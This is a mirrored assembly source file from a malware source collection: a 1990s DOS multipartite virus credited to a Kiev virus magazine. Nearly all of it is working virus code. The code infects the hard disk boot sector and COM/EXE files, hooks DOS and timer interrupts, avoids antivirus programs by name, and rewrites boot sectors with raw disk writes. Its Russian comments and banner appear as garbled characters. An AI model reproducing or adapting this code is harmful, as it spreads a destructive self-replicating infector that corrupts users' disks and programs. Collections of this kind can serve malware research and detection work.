mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 15:05:27 +00:00
577 lines
21 KiB
NASM
577 lines
21 KiB
NASM
|
;
|
|||
|
|
; <20><> <20>
|
|||
|
|
; <20><><EFBFBD> Virus Magazine <20> Box 176, Kiev 210, Ukraine IV 1997
|
|||
|
|
; <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
; <20><> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20> <20> <20><><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD> <20> <20> <20> <20>
|
|||
|
|
; <20> <20> <20> <20><> <20><> <20> <20> <20><> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20>
|
|||
|
|
; <20> <20> <20> <20> <20><><EFBFBD> <20><><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD> <20><> <20><><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD><EFBFBD> <20> <20> <20> <20>
|
|||
|
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
; (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd.
|
|||
|
|
;
|
|||
|
|
;-------------------------------------------------------------------------
|
|||
|
|
; MCE-Len*512
|
|||
|
|
; <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD> COM <20> EXE 䠩<><E4A0A9> <20><><EFBFBD> <20><> ᮧ<><E1AEA7><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
; (<28><>筥<EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>⨨ <20><><EFBFBD><EFBFBD>ᮧ<EFBFBD><E1AEA7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 䠩<><E4A0A9>).
|
|||
|
|
; <20><><EFBFBD><EFBFBD><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>㧮<EFBFBD><E3A7AE><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD> <20><>ࢮ<EFBFBD><E0A2AE> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E1AAAE> <20><>᪠ <20><> <20><>ࢮ<EFBFBD>
|
|||
|
|
; HD. (<28> <20><>訫 <20><> <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⢨⥫<E2A2A8><E2A5AB><EFBFBD><EFBFBD> <20><><EFBFBD>⥬<EFBFBD><E2A5AC><EFBFBD> <20><><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>
|
|||
|
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!!!)
|
|||
|
|
; <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>⠫<EFBFBD><E2A0AB>㥬<EFBFBD><E3A5AC> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><>१<EFBFBD><E0A5A7><EFBFBD>㧪<EFBFBD> <20><>設<EFBFBD>.
|
|||
|
|
; <20><><EFBFBD> <20><><EFBFBD><EFBFBD>᪥ <20>ணࠬ<E0AEA3><E0A0AC> <20>-樥<> 4B00h <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>㧮<EFBFBD><E3A7AE><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD>.
|
|||
|
|
; <20><><EFBFBD> <20>ᯮ<EFBFBD><E1AFAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>-樨 4Cxxh <20><><EFBFBD><EFBFBD>㧮<EFBFBD><E3A7AE><EFBFBD><EFBFBD> ᥪ<><E1A5AA><EFBFBD> <20><>ࠦ<EFBFBD><E0A0A6><EFBFBD><EFBFBD><EFBFBD> ᭮<><E1ADAE>!!!
|
|||
|
|
;
|
|||
|
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ⥪<><E2A5AA> <20><> <20><><EFBFBD>室<EFBFBD><E5AEA4> <20><>⨬<EFBFBD><E2A8AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>...Sorry.
|
|||
|
|
;-------------------------------------------------------------------------
|
|||
|
|
.model tiny
|
|||
|
|
.code
|
|||
|
|
;-------------------------------------------------------------------------
|
|||
|
|
len equ 4 ; Len virus in sectors (include boot part)
|
|||
|
|
;////////////////////////////////////////////////////
|
|||
|
|
; Start BOOT part (installer for Dos part...)
|
|||
|
|
org 0
|
|||
|
|
;////////////////////////////////////////////////////
|
|||
|
|
BootStart:
|
|||
|
|
jmp BootCode
|
|||
|
|
;--------------------------------------------------------------
|
|||
|
|
BootData db 40h dup (0) ; Data for boot sector.
|
|||
|
|
;--------------------------------------------------------------
|
|||
|
|
BEEP:
|
|||
|
|
push ax
|
|||
|
|
mov ax,0e07h
|
|||
|
|
int 10h
|
|||
|
|
pop ax
|
|||
|
|
ret
|
|||
|
|
BootCode:
|
|||
|
|
nop
|
|||
|
|
nop
|
|||
|
|
cli
|
|||
|
|
xor di,di
|
|||
|
|
mov si,7C00h
|
|||
|
|
mov bx,si
|
|||
|
|
mov ds,di
|
|||
|
|
mov ss,di
|
|||
|
|
mov sp,si
|
|||
|
|
sti
|
|||
|
|
;
|
|||
|
|
int 12h
|
|||
|
|
sub ax,96 ; - 96 kb.
|
|||
|
|
mov cl,6
|
|||
|
|
shl ax,cl
|
|||
|
|
mov es,ax ; ES = segment for our body
|
|||
|
|
;
|
|||
|
|
cld
|
|||
|
|
mov cx,512
|
|||
|
|
rep movsb ; Transmit body
|
|||
|
|
;
|
|||
|
|
push ax
|
|||
|
|
mov ax,offset BootInstall
|
|||
|
|
push ax
|
|||
|
|
retf
|
|||
|
|
;-------------------------------------------------------------
|
|||
|
|
BootInstall:
|
|||
|
|
mov si,1Ch*4
|
|||
|
|
push si
|
|||
|
|
lea di,OldTimerAddr
|
|||
|
|
movsw
|
|||
|
|
movsw
|
|||
|
|
;
|
|||
|
|
cli
|
|||
|
|
pop di
|
|||
|
|
mov word ptr ds:[di],offset TimerManager
|
|||
|
|
mov word ptr ds:[di+2],es
|
|||
|
|
sti
|
|||
|
|
;
|
|||
|
|
push ds
|
|||
|
|
pop es
|
|||
|
|
mov ax,0201h
|
|||
|
|
mov cx,0009
|
|||
|
|
mov dx,0080h
|
|||
|
|
push es
|
|||
|
|
push bx
|
|||
|
|
int 13h
|
|||
|
|
retf
|
|||
|
|
;-------------------------------------------------------------
|
|||
|
|
OldTimerAddr dw 0,0
|
|||
|
|
;-------------------------------------------------------------
|
|||
|
|
TimerManager:
|
|||
|
|
push ds es ax bx di si
|
|||
|
|
;
|
|||
|
|
xor ax,ax
|
|||
|
|
mov es,ax
|
|||
|
|
mov ds,ax
|
|||
|
|
;
|
|||
|
|
mov ax,ds:[(21h*4)+2]
|
|||
|
|
cmp ah,08
|
|||
|
|
ja ExitTimer
|
|||
|
|
mov cs:Seg21h,ax
|
|||
|
|
mov ax,ds:[21h*4]
|
|||
|
|
mov cs:Ofs21h,ax
|
|||
|
|
;
|
|||
|
|
mov word ptr ds:[21h*4],offset InstallDosManager
|
|||
|
|
mov ds:[(21h*4)+2],cs
|
|||
|
|
;
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
lea si,OldTimerAddr
|
|||
|
|
mov di,1Ch*4
|
|||
|
|
cld
|
|||
|
|
movsw ; Return old timer procedure
|
|||
|
|
movsw
|
|||
|
|
ExitTimer:
|
|||
|
|
pop si di bx ax es ds
|
|||
|
|
iret
|
|||
|
|
;-------------------------------------------------------------
|
|||
|
|
InstallDosManager:
|
|||
|
|
cmp ax,4B00h
|
|||
|
|
jz FullInstall
|
|||
|
|
;
|
|||
|
|
OldDosManager:
|
|||
|
|
db 0EAh
|
|||
|
|
Ofs21h dw 0
|
|||
|
|
Seg21h dw 0
|
|||
|
|
;
|
|||
|
|
;---------------------------------------------------
|
|||
|
|
i21h:
|
|||
|
|
pushf
|
|||
|
|
call dword ptr cs:[offset Ofs21h]
|
|||
|
|
ret
|
|||
|
|
;---------------------------------------------------
|
|||
|
|
FullInstall:
|
|||
|
|
push ax bx cx dx si di es ds
|
|||
|
|
;
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
;
|
|||
|
|
mov ah,48h
|
|||
|
|
mov bx,4096/16
|
|||
|
|
int 21h ; AX = Segment of new area for virus
|
|||
|
|
jc NoInstalled
|
|||
|
|
;
|
|||
|
|
mov es,ax
|
|||
|
|
xor si,si
|
|||
|
|
mov di,si
|
|||
|
|
;
|
|||
|
|
cld
|
|||
|
|
mov cx,512
|
|||
|
|
mov bx,cx
|
|||
|
|
rep movsb
|
|||
|
|
;
|
|||
|
|
dec ax
|
|||
|
|
mov ds,ax
|
|||
|
|
mov word ptr ds:[01],0070h ; MSDOS segment
|
|||
|
|
;
|
|||
|
|
mov ds,cx
|
|||
|
|
;
|
|||
|
|
mov ax,0204h ; Read 4 sectors (2 kb)
|
|||
|
|
mov cx,0010 ; (virus body - without current part)
|
|||
|
|
mov dx,0080h
|
|||
|
|
int 13h
|
|||
|
|
;
|
|||
|
|
mov word ptr ds:[21h*4],offset VirusDosManager
|
|||
|
|
mov ds:[(21h*4)+2],es
|
|||
|
|
;
|
|||
|
|
call BEEP ;*****************************<<<<<<<<<<
|
|||
|
|
;
|
|||
|
|
NoInstalled:
|
|||
|
|
pop ds es di si dx cx bx ax
|
|||
|
|
jmp OldDosManager
|
|||
|
|
;-------------------------------------------------------------
|
|||
|
|
org 510
|
|||
|
|
db 55h,0AAh ; 'U<>'
|
|||
|
|
;-------------------------------------------------------------
|
|||
|
|
;/////////////////////////////////////////////////////////////
|
|||
|
|
; Start Dos TSR file infector.
|
|||
|
|
org 512
|
|||
|
|
;/////////////////////////////////////////////////////////////
|
|||
|
|
VirusDosManager:
|
|||
|
|
cmp ax,0FFAAh ; Our copy call us
|
|||
|
|
jnz LookNextFun
|
|||
|
|
stc ; CY=1
|
|||
|
|
retf 2
|
|||
|
|
LookNextFun:
|
|||
|
|
cmp ah,4Ch
|
|||
|
|
jnz LookRunFun
|
|||
|
|
jmp ExitProg
|
|||
|
|
LookRunFun:
|
|||
|
|
cmp ax,4B00h
|
|||
|
|
jnz LookCREATE
|
|||
|
|
jmp RunProg
|
|||
|
|
LookCREATE:
|
|||
|
|
cmp cs:Fhandle,0 ; <>0 then file processed!!!
|
|||
|
|
jnz LookCloseOurFile
|
|||
|
|
;
|
|||
|
|
cmp ah,3Ch ; Create
|
|||
|
|
jz OurFun
|
|||
|
|
cmp ah,5Bh ; Create
|
|||
|
|
jz OurFun
|
|||
|
|
ExitVDM:
|
|||
|
|
jmp OldDosManager
|
|||
|
|
;-----------------------------------------------------
|
|||
|
|
LookCloseOurFile:
|
|||
|
|
cmp ah,3Eh ; Close
|
|||
|
|
jnz ExitVDM
|
|||
|
|
cmp cs:Fhandle,bx
|
|||
|
|
jnz ExitVDM
|
|||
|
|
jmp InfectClosedFile
|
|||
|
|
;-----------------------------------------------------
|
|||
|
|
OurFun:
|
|||
|
|
push ax si
|
|||
|
|
;
|
|||
|
|
cld
|
|||
|
|
mov si,dx
|
|||
|
|
LookNULL:
|
|||
|
|
lodsb
|
|||
|
|
cmp al,'.'
|
|||
|
|
jnz LookNULL
|
|||
|
|
lodsw
|
|||
|
|
;
|
|||
|
|
or ax,2020h ; ' '
|
|||
|
|
cmp ax,'xe' ; EXe
|
|||
|
|
jnz LookCOM
|
|||
|
|
lodsb
|
|||
|
|
or al,20h
|
|||
|
|
cmp al,'e' ; exE
|
|||
|
|
jnz NoOurEXT
|
|||
|
|
mov Ftype,1
|
|||
|
|
jmp GetHandle
|
|||
|
|
LookCOM:
|
|||
|
|
cmp ax,'oc' ; COm
|
|||
|
|
jnz NoOurEXT
|
|||
|
|
lodsb
|
|||
|
|
or al,20h
|
|||
|
|
cmp al,'m' ; coM
|
|||
|
|
jnz NoOurEXT
|
|||
|
|
mov Ftype,2
|
|||
|
|
GetHandle:
|
|||
|
|
mov si,dx
|
|||
|
|
push bp
|
|||
|
|
mov bp,dx
|
|||
|
|
LookTild:
|
|||
|
|
lodsb
|
|||
|
|
cmp al,0
|
|||
|
|
jz LookFileName
|
|||
|
|
cmp al,'\'
|
|||
|
|
jnz LookTild
|
|||
|
|
mov bp,si
|
|||
|
|
jmp LookTild
|
|||
|
|
LookFileName:
|
|||
|
|
mov si,bp
|
|||
|
|
pop bp
|
|||
|
|
lodsw
|
|||
|
|
or ax,2020h
|
|||
|
|
cmp ax,'rd' ; DRweb
|
|||
|
|
jz NoOurEXT
|
|||
|
|
cmp ax,'ia' ; AIdstest
|
|||
|
|
jz NoOurEXT
|
|||
|
|
cmp ax,'da' ; ADinf
|
|||
|
|
jz NoOurEXT
|
|||
|
|
cmp ax,'sm' ; MScan
|
|||
|
|
jz NoOurEXT
|
|||
|
|
;
|
|||
|
|
pop si ax
|
|||
|
|
call i21h ; int 21h
|
|||
|
|
mov cs:Fhandle,ax
|
|||
|
|
jnc e1
|
|||
|
|
mov cs:Fhandle,0
|
|||
|
|
e1:
|
|||
|
|
retf 2
|
|||
|
|
NoOurEXT:
|
|||
|
|
pop si ax
|
|||
|
|
jmp ExitVDM
|
|||
|
|
;---------------------------------------------------------
|
|||
|
|
bootCX dw 0
|
|||
|
|
bootDX dw 0
|
|||
|
|
;---------------------------------------------------------
|
|||
|
|
InfectClosedFile:
|
|||
|
|
push ax bx cx dx es ds si di bp
|
|||
|
|
;
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
call InfectFile
|
|||
|
|
;
|
|||
|
|
pop bp di si ds es dx cx bx ax
|
|||
|
|
;
|
|||
|
|
jmp OldDosManager
|
|||
|
|
;---------------------------------------------------------
|
|||
|
|
;/////////////////////////////////////////////////////////
|
|||
|
|
;---------------------------------------------------------
|
|||
|
|
FileInstaller:
|
|||
|
|
call $+3
|
|||
|
|
pop bp
|
|||
|
|
sub bp,03
|
|||
|
|
mov ax,0FFAAh
|
|||
|
|
int 21h
|
|||
|
|
jc ExitFileInstall
|
|||
|
|
cmp al,0
|
|||
|
|
jnz ExitFileInstall
|
|||
|
|
push es ds
|
|||
|
|
call InstallVirus_to_PC
|
|||
|
|
pop ds es
|
|||
|
|
ExitFileInstall:
|
|||
|
|
|
|||
|
|
cmp word ptr cs:[bp][offset OriginBytes-offset FileInstaller],'ZM'
|
|||
|
|
jz L_exe
|
|||
|
|
|
|||
|
|
;-Loaded from com file.-------------------------------------------
|
|||
|
|
mov di,100h
|
|||
|
|
lea si,[bp][offset OriginBytes-offset FileInstaller]
|
|||
|
|
push di
|
|||
|
|
movsw
|
|||
|
|
movsw
|
|||
|
|
movsb
|
|||
|
|
ret ; Go to infected com program.
|
|||
|
|
;----------------------------
|
|||
|
|
OriginBytes Label Byte
|
|||
|
|
mov ax,4c00h
|
|||
|
|
int 21h
|
|||
|
|
db 20h dup (90h)
|
|||
|
|
;----------------------------
|
|||
|
|
;-Loaded from exe file.--------------------------------------------
|
|||
|
|
L_exe:
|
|||
|
|
mov ax,es
|
|||
|
|
add ax,10h
|
|||
|
|
push ax
|
|||
|
|
add cs:[bp][offset CS_file-offset FileInstaller],ax
|
|||
|
|
pop ax
|
|||
|
|
SS_file: add ax,0000
|
|||
|
|
cli
|
|||
|
|
mov ss,ax
|
|||
|
|
SP_file: mov sp,0000
|
|||
|
|
sti
|
|||
|
|
db 0eah
|
|||
|
|
IP_file dw ?
|
|||
|
|
CS_file dw ?
|
|||
|
|
;-------------------------------------------------------------------
|
|||
|
|
InstallVirus_to_PC:
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
mov ax,0B900h ; 3 page of videobuffer
|
|||
|
|
mov es,ax
|
|||
|
|
xor bx,bx
|
|||
|
|
;
|
|||
|
|
mov ax,0201h ; READ MBR
|
|||
|
|
mov cx,1
|
|||
|
|
mov dx,80h
|
|||
|
|
int 13h ; ES:BX = B900:0000h
|
|||
|
|
;
|
|||
|
|
jnc ReadOk
|
|||
|
|
OurBoot:
|
|||
|
|
ret
|
|||
|
|
ReadOk:
|
|||
|
|
; cmp byte ptr es:[bx+01BEh],80h ; Bootable disk ?
|
|||
|
|
mov cx,es:[bx+01C0h] ; sect,cyl
|
|||
|
|
mov dh,es:[bx+01BFh] ; head
|
|||
|
|
;
|
|||
|
|
|
|||
|
|
mov ds:[bp][(offset FIend-offset FileInstaller)+offset bootCX],cx
|
|||
|
|
mov ds:[bp][(offset FIend-offset FileInstaller)+offset bootDX],dx
|
|||
|
|
|
|||
|
|
;
|
|||
|
|
mov ax,0201h ; READ BOOT on drive C:\
|
|||
|
|
int 13h
|
|||
|
|
cmp word ptr es:[bx+offset BootCode],9090h
|
|||
|
|
jz OurBoot ; Already infected!!!
|
|||
|
|
;
|
|||
|
|
push cx dx
|
|||
|
|
;
|
|||
|
|
mov ax,0301h ; WRITE OLD BOOT to unuseble section
|
|||
|
|
mov dx,80h
|
|||
|
|
mov cx,9
|
|||
|
|
int 13h
|
|||
|
|
;
|
|||
|
|
push es ds
|
|||
|
|
pop es ds
|
|||
|
|
cld
|
|||
|
|
mov si,offset BootData
|
|||
|
|
lea di,[bp+si][offset FIend-offset FileInstaller]
|
|||
|
|
mov cx,40h
|
|||
|
|
rep movsb ; Copy origin Boot Data to Virus Boot Data
|
|||
|
|
;
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
lea bx,[bp][offset FIend-offset FileInstaller+512]
|
|||
|
|
;
|
|||
|
|
mov ax,0304h ; WRITE VIRUS BODY
|
|||
|
|
mov cx,10
|
|||
|
|
int 13h
|
|||
|
|
;
|
|||
|
|
sub bx,512
|
|||
|
|
mov ax,0301h ; WRITE VIRUS BOOT SECTOR in system area
|
|||
|
|
pop dx cx
|
|||
|
|
int 13h
|
|||
|
|
ret
|
|||
|
|
;---------------------------------------------------------
|
|||
|
|
FIend label byte
|
|||
|
|
;---------------------------------------------------------
|
|||
|
|
;/////////////////////////////////////////////////////////
|
|||
|
|
;---------------------------------------------------------
|
|||
|
|
; ENTER : BX = File Handle
|
|||
|
|
; EXIT : File not CLOSED!!! , Fhandle = 0
|
|||
|
|
InfectFile:
|
|||
|
|
call diskryptor
|
|||
|
|
mov ah,3fh
|
|||
|
|
mov cx,18h
|
|||
|
|
mov dx,offset OriginBytes
|
|||
|
|
mov si,dx
|
|||
|
|
int 21h
|
|||
|
|
jc _1
|
|||
|
|
cmp word ptr ds:[offset OriginBytes],'ZM'
|
|||
|
|
jz _EXE
|
|||
|
|
cmp word ptr ds:[offset OriginBytes+3],'::'
|
|||
|
|
jz _1
|
|||
|
|
;-Infect .COM --------------------------------
|
|||
|
|
cmp bp,(65500-(512*Len))
|
|||
|
|
ja _1 ;<3B><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>⨬<EFBFBD><E2A8AC>.
|
|||
|
|
mov es:[di+21],bp ;F.p. = end file.
|
|||
|
|
;-Make JMP------------------------------------
|
|||
|
|
sub bp,03
|
|||
|
|
mov ds:[offset jmp_n],bp
|
|||
|
|
call WriteBody
|
|||
|
|
jc _1b
|
|||
|
|
mov cx,05h
|
|||
|
|
mov dx,offset new_3_byte
|
|||
|
|
ExitWrite:
|
|||
|
|
mov ah,40h
|
|||
|
|
int 21h
|
|||
|
|
_1b: jmp exit_date
|
|||
|
|
_1: ret
|
|||
|
|
;-Infect .EXE ---------------------------------
|
|||
|
|
_EXE:
|
|||
|
|
cmp ds:[si+12h],'::' ; Already infected ?
|
|||
|
|
jz _1 ; Yes!
|
|||
|
|
mov ax,ds:[si+4] ; Pages (512b).
|
|||
|
|
dec ax
|
|||
|
|
mov cx,512
|
|||
|
|
mul cx
|
|||
|
|
add ax,[si+2] ; DX:AX = File len from header.
|
|||
|
|
cmp ax,bp ; Real file len = dx:ax ?
|
|||
|
|
jnz _1 ; No - this is overlay.
|
|||
|
|
cmp es:[di+19],dx ; ********************
|
|||
|
|
jnz _1 ; No - this is overlay.
|
|||
|
|
;-----
|
|||
|
|
mov es:[di+21],ax ; F.p.= end file.
|
|||
|
|
mov es:[di+23],dx
|
|||
|
|
;-Get header.-----------------------------------
|
|||
|
|
mov [si+12h],'::'
|
|||
|
|
mov ax,[si+14h]
|
|||
|
|
mov ds:[offset IP_file],ax
|
|||
|
|
mov ax,[si+16h]
|
|||
|
|
mov ds:[offset CS_file],ax
|
|||
|
|
mov ax,[si+10h]
|
|||
|
|
mov word ptr ds:[offset SP_file+1],ax
|
|||
|
|
mov ax,[si+0eh]
|
|||
|
|
mov word ptr ds:[offset SS_file+1],ax
|
|||
|
|
;-----------------------------------------------
|
|||
|
|
xchg ax,bp
|
|||
|
|
mov cx,10h
|
|||
|
|
div cx
|
|||
|
|
sub ax,[si+8]
|
|||
|
|
sbb dx,0
|
|||
|
|
mov [si+16h],ax ; ReloCS.
|
|||
|
|
mov [si+0eh],ax ; ReloSS
|
|||
|
|
mov [si+14h],dx ; ExeIP.
|
|||
|
|
mov [si+10h],4096 ; ExeSP
|
|||
|
|
;-Correcting file len in header.----------------
|
|||
|
|
add word ptr [si+4],len ; Newlen=OldLen+(512*len)
|
|||
|
|
;-Write virus in file.--------------------------
|
|||
|
|
call WriteBody
|
|||
|
|
jc exit_date
|
|||
|
|
;-Write new header.-----------------------------
|
|||
|
|
mov cx,18h
|
|||
|
|
mov ah,40h
|
|||
|
|
mov dx,offset OriginBytes
|
|||
|
|
int 21h
|
|||
|
|
exit_date:
|
|||
|
|
mov ax,5701h
|
|||
|
|
mov cx,es:[di+13]
|
|||
|
|
mov dx,es:[di+15]
|
|||
|
|
int 21h
|
|||
|
|
ret
|
|||
|
|
;----------------------------------------------
|
|||
|
|
WriteBody proc
|
|||
|
|
mov Fhandle,0
|
|||
|
|
mov dx,offset FileInstaller
|
|||
|
|
mov cx,(offset FIend - offset FileInstaller)
|
|||
|
|
mov ah,40h
|
|||
|
|
int 21h
|
|||
|
|
xor dx,dx
|
|||
|
|
mov cx,512*len
|
|||
|
|
mov ah,40h
|
|||
|
|
int 21h
|
|||
|
|
mov es:[di+21],dx ; F.p.= start file.
|
|||
|
|
mov es:[di+23],dx ;
|
|||
|
|
ret
|
|||
|
|
WriteBody endp
|
|||
|
|
;----------------------------------------------
|
|||
|
|
diskryptor proc
|
|||
|
|
mov ax,1220h
|
|||
|
|
push bx
|
|||
|
|
int 2fh
|
|||
|
|
mov bl,es:[di]
|
|||
|
|
mov ax,1216h
|
|||
|
|
int 2fh
|
|||
|
|
pop bx
|
|||
|
|
mov byte ptr es:[di+2],02 ; mode = r/w.
|
|||
|
|
xor dx,dx
|
|||
|
|
mov es:[di+21],dx ; F.p.= end file.
|
|||
|
|
mov es:[di+23],dx ; F.p.= end file.
|
|||
|
|
mov bp,es:[di+17]
|
|||
|
|
ret
|
|||
|
|
diskryptor endp
|
|||
|
|
;-----------------------------------------------
|
|||
|
|
Ftype db 0 ; 1 - EXE ; 2 - COM
|
|||
|
|
Fhandle dw 0 ; Handle of this file or 0000 for NoFile
|
|||
|
|
;-----------------------------------------------
|
|||
|
|
new_3_byte db 0e9h
|
|||
|
|
jmp_n dw 0000
|
|||
|
|
db '::'
|
|||
|
|
;---------------------------------------------------------
|
|||
|
|
ExitProg:
|
|||
|
|
push ax bx cx dx es cs
|
|||
|
|
pop es
|
|||
|
|
;
|
|||
|
|
mov ax,0301h
|
|||
|
|
mov cx,cs:bootCX
|
|||
|
|
mov dx,cs:bootDX
|
|||
|
|
xor bx,bx
|
|||
|
|
int 13h
|
|||
|
|
;
|
|||
|
|
pop es dx cx bx ax
|
|||
|
|
jmp ExitVDM
|
|||
|
|
;---------------------------------------------------------
|
|||
|
|
RunProg:
|
|||
|
|
push ax bx cx dx es cs
|
|||
|
|
pop es
|
|||
|
|
;
|
|||
|
|
mov ax,0201h ; READ ORIGIN BOOT
|
|||
|
|
mov cx,0009
|
|||
|
|
mov dx,0080h
|
|||
|
|
lea bx,Buffer
|
|||
|
|
int 13h
|
|||
|
|
;
|
|||
|
|
mov ax,0301h ; WRITE ORIGIN BOOT TO <20><><EFBFBD> ORIGIN PLACE
|
|||
|
|
mov cx,cs:bootCX
|
|||
|
|
mov dx,cs:bootDX
|
|||
|
|
int 13h
|
|||
|
|
;
|
|||
|
|
pop es dx cx bx ax
|
|||
|
|
jmp ExitVDM
|
|||
|
|
;---------------------------------------------------------
|
|||
|
|
;/////////////////////////////////////////////////////////
|
|||
|
|
;---------------------------------------------------------
|
|||
|
|
db '(c) Light General.Kiev.KIUCA.1996.NOT for free use.',0
|
|||
|
|
db '(<28><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪠ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>...<2E><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>...<2E><><EFBFBD><EFBFBD><EFBFBD>...<2E><><EFBFBD><EFBFBD><EFBFBD>...A<>aa<61>)',0
|
|||
|
|
;---------------------------------------------------------
|
|||
|
|
Header db 20h dup (?)
|
|||
|
|
Buffer db 512 dup (?)
|
|||
|
|
;----------------------------------------------------------------------
|
|||
|
|
Virus1stInstaller:
|
|||
|
|
mov ax,offset FIend-offset FileInstaller
|
|||
|
|
xor bp,bp
|
|||
|
|
sub bp,ax
|
|||
|
|
call InstallVirus_to_PC
|
|||
|
|
mov ax,4c00h
|
|||
|
|
int 21h
|
|||
|
|
;-----------------------------------------------------------------------
|
|||
|
|
.stack 1024
|
|||
|
|
|
|||
|
|
end Virus1stInstaller
|